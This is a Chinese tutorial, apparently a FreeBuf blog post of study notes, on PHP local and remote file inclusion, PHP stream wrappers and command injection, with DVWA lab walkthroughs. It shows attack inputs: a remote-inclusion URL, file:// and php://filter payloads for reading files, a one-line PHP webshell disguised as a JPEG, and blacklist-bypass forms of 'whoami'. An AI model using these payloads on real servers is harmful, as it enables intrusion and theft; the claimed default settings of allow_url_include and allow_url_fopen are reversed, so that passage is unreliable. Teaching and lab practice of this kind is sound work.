文件包含与命令执行漏洞详解 – 作者:6yao6dao

代码注入

远程文件包含漏洞

文件包含

  1. 了解什么是本地文件包含漏洞

  2. 了解本地文件包含漏洞所要用到的函数

  3. 掌握本地文件包含漏洞的利用方式

  4. 了解 PHP 语言中的封装协议

  5. 掌握本地文件包含漏洞的修复方法

什么是文件包含

再通过 PHP 的相应函数 [例如 include()] 引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露,甚至恶意的代码注入。

文件包含漏洞的形成,需要满足两个条件

  • 用户能够控制文件的内容,(向服务器上传一个新的文件、借用服务器已经存在的文件)

  • include() 等函数通过动态变量的方式引入需要包含的文件

常用文件包含函数

include():当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once():功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。

require():require() 与 include() 的区别在于 require() 执行如果发生错误,函数会输出错误信息,并终止脚本的运行。使用 require() 函数包含文件时,只要程序一执行,立即调用文件,而 include() 只有程序执行到该函数时才调用。

require_once:他的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。

highlight_file():highlight_file(filename,return)—-filename:必需要进行高龄处理的 PHP 文件的路径。return:可选。如果设置为 true,则本函数返回高亮处理的代码。

show_source:该函数是 highlight_file() 的别名。

file_get_contents():该函数把整个文件读入一个字符串中,和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

语法:

file_get_contents(path,include_path.context,start,max_length)
参数 描述
path 必须,规定要读取的文件
include_path 可选,如需在 include_path 中寻找文件的话,可以将该参数设为”1″
context 可选,规定文件句柄 1 的环境 context 是一套可以修改流的行为的选项,若使用 null,则忽略
start 可选,规定在文件中开始读取的位置。
max_length 可选,规定读取的字数节。

file():file() 把整个文件读入一个数组中,与 file_get_contents() 类似,但是 file() 将文件作为一个数组返回,数组中每个单元都是文件中相应的一行,包括换行符在内,如果失败则返回 false。

语法:

file(path,include_path,context)
参数 描述
path 必须,规定要读取的文件
include_path 可选,如需在 include_path 中寻找文件的话,可以将该参数设为”1″
context 可选,规定文件句柄的环境 context 是一套可以修改流的行为的选项,若使用 null,则忽略

fopen():打开一个文件或者 URL。

语法:

fopen(filename,mode,include_path,context)
参数 描述
filename 必须,规定要打开的文件
mode 必须,规定请求到该文件的的访问类型 2。
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

readfile():输出一个文件,该函数读入一个文件,成功则返回从文件中读入的字节数。若失败,则返回 false。

语法:

readfile(filename,include_path,context) 
俩个关键选项

allow_url_iinclude 是否允许引用 URL 文件,激活 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。默认开启

allow_url_fopen 是否允许打开 URL 文件,该选项为 on 则允许包含 URL 对象文件等。默认关闭

这两个选项是 Web 服务器 PHP 的配置选项。了解一下就 ok

本地文件包含 (LFI)

能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

重要特点:把任何包含进来的文件都当作 PHP 文件来执行

1600187285.png!small

http://172.26.26.259/fileupload/file.php?filename=1.jpg

*都知道 1.jpg是图片,但是当有文件包含漏洞时,这个图片会被当做 php 文件处理,当然前提是它里面有 php 的代码,这样我们就可以先写一个 php 代码的牧马,然后伪装成图片上传,从而达到控制对方的目的。

[1] 句柄最早被翻译成把手,这个翻译比较传神,简单来说就是像门把手一样,你只用握住门把手来开门,而不用可以知道门是什么形状的。

[2] “r”(只读方式打开,将文件指针指向文件头),”r+”(读写方式打开,将文件指针指向文件头),”w”(写入方式打开,清除文件内容,如果文件不存在则尝试创建之),”w+”(读写方式打开,清除文件内容,如果文件不存在则尝试创建之),”a”(写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之),”a+”(读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容),”x”(创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误),”x+”(创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

远程文件包含

  1. 了解什么是远程文件包含漏洞

  2. 了解远程文件包含漏洞所用到的函数

  3. 掌握远程文件包含漏洞的利用方式

  4. 掌握远程文件包含漏洞代码审计方法

  5. 掌握修复远程文件包含漏洞的方法

远程文件包含 (RFI)

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt

1600187306.png!small

1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。

文件包含漏洞的危害

  • 敏感信息泄露

  • 获取 Webshell

  • 任意命令执行

文件包含靶机实验

我们使用 DVWA 的实验环境,首先登陆,账号 admin,密码 password。

1600187325.png!small

进入后,我们将安全级别设置为 low,点击 submit 提交。

1600187343.png!small

再点击 File Inclusion 进入我们的文件包含漏洞环境。

1600187365.png!small

我们的文件包含漏洞的原理是上传的文件会被当做 PHP 文件执行。那么我们写一个一句话牧马执行命令 whoami。

1600187454.png!small

并保存为 1.jpeg 文件

1600187481.png!small

当然如果我们打开桌面的这个 jpeg 图片文件,会什么也没有,这不是一个正常的图片文件,只是一个伪装成 jpeg 文件的 php 代码。

1600187500.png!small

下面我们把他传到服务器中去,点击 File Upload 并选择浏览找到我们刚刚的那个图片文件。

1600187529.png!small

会提示我们文件上传成功!并且告诉了我们文件上传的路径,../../hackable/uploads/1.jpeg

1600187550.png!small

我们将其输入到 URL 地址栏中

1600187567.png!small

显示下面这个页面

1600187576.png!small

因为我们的 jpeg 图片代码,并没有正常的图片,只是一段代码。接着我们点击刚刚的文件上传漏洞。

1600187803.png!small

我们要在 url 地址中把我们刚刚上传的文件地址包含进去

1600187822.png!small

回车,我们会发现在页面上部会出现一个信息 apache

1600187835.png!small

这就是刚刚我们刚刚在一句话马中命令执行的结果。至此我们已经完成了文件包含漏洞的简单利用。


PHP 伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen(),copy(),file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

URL 功能
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s)URLS
php:// 访问各个输入/输出流 (I/O streams)
zlib:// 压缩流
data:// 数据 (RFC2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径模式
  • file 协议

当存在某个用户可控制,并得以访问执行的输入点时,我们可以尝试输入 file://去获取本地磁盘文件

使用条件:

allow_url_fopen on/off

allow_url_include on/off

使用方法:

http://172.168.1.1/fileupload/file.php?filename=file://C:/windows/system.ini

实验:

我们可以在刚刚的靶机上面进行试验,在 File Inclusion 中,在 URL 栏里直接输入 file:// 来查看密码

1600187857.png!small

当然我们也可以不输入 file:// 直接在 page= 内容后面文件包含一下。也是可以的。

1600187867.png!small

  • php://filter(重要)

这个伪协议是比较重要的伪协议

对本地磁盘文件进行读写

使用条件:

allow_url_fopen on/off

allow_url_include on/off

使用读取脚本文件:

http://172.16.12.2/fileupload/file.php?filename=php://filter/read/convert.base64-encode/resource=file.php

(或者其他读取文件中含有 php 代码的时候,就要使用 base64 编码转换)

与 file 协议的区别在于

file 协议只能使用绝对路径,filter 协议相对路径和绝对路径都可以使用

剩下的在 PTE 考试中出现的较少我们用一张表格来概括。

1600187881.png!small

命令执行 (重要但简单)

  1. 了解什么是命令执行漏洞

  2. 了解命令执行漏洞对系统安全产生的危害

  3. 掌握脚本语言中可以执行系统命令的函数

  4. 了解第三方组件存在的代码指定漏洞,如 struts2

  5. 掌握命令注入漏洞的修复方法

日常的网络访问中,我们常常可以看到某些 Web 站具有执行系统命令的功能,例如:有些网站提供 ping 功能。

但如果用户没有遵循网站的本意,而是输入精心构造的指令,可能会对网站本身的功能逻辑产生逆转,导致让目标网站执行恶意命令。

命令执行常用函数
  • 反撇号”

输出并返回 shell 结果。

用法:

echo’whoami’

  • System()

system() 输出并返回最后一行 shell 结果

用法:

system(‘whoami’)

  • passthru()

只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。相同点:都可以获得命令执行的状态码

用法:

passthru(‘whoami’)

  • eval()

执行 php 代码

用法:

eval(system(‘whoami’);)

  • exec()

不输出结果,返回最后一行 shell 结果,所有结果可以保存到一个返回的数组里面。

用法:

exec($_POST[‘system’],$output);

print_r($output);

命令拼接符号

1600187907.png!small

黑名单绕过常见方法
a= who;b=ami;$a$b

wh$@oami

wh$*oami

wh$1oami

/u?r/bin/who?mi

w'\test'hoami

1600187922.png!small


命令执行实验靶机

还是之前的 DVWA 的环境

我们选择 Command Injection (命令执行)

1600187955.png!small

可以看到这是一个 ping 命令,那么我们应该怎么选择执行命令呢,我们可以根据上面的命令拼接符号,拼接进一个查看网卡信息的命令 ifconfig

1600187969.png!small

下面我们点一下 submit 提交一下,成功啦!

1600187983.png!small

上方是 ping 命令执行的结果,下方是 ifconfig 的网卡信息。


这就是今天我们学习的代码注入之文件包含与命令执行漏洞的全部啦!也是我在 i 春秋上学习的笔记,希望大家和我一样有所收获!谢谢啦!

来源:freebuf.com 2020-09-16 00:20:32 by: 6yao6dao

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论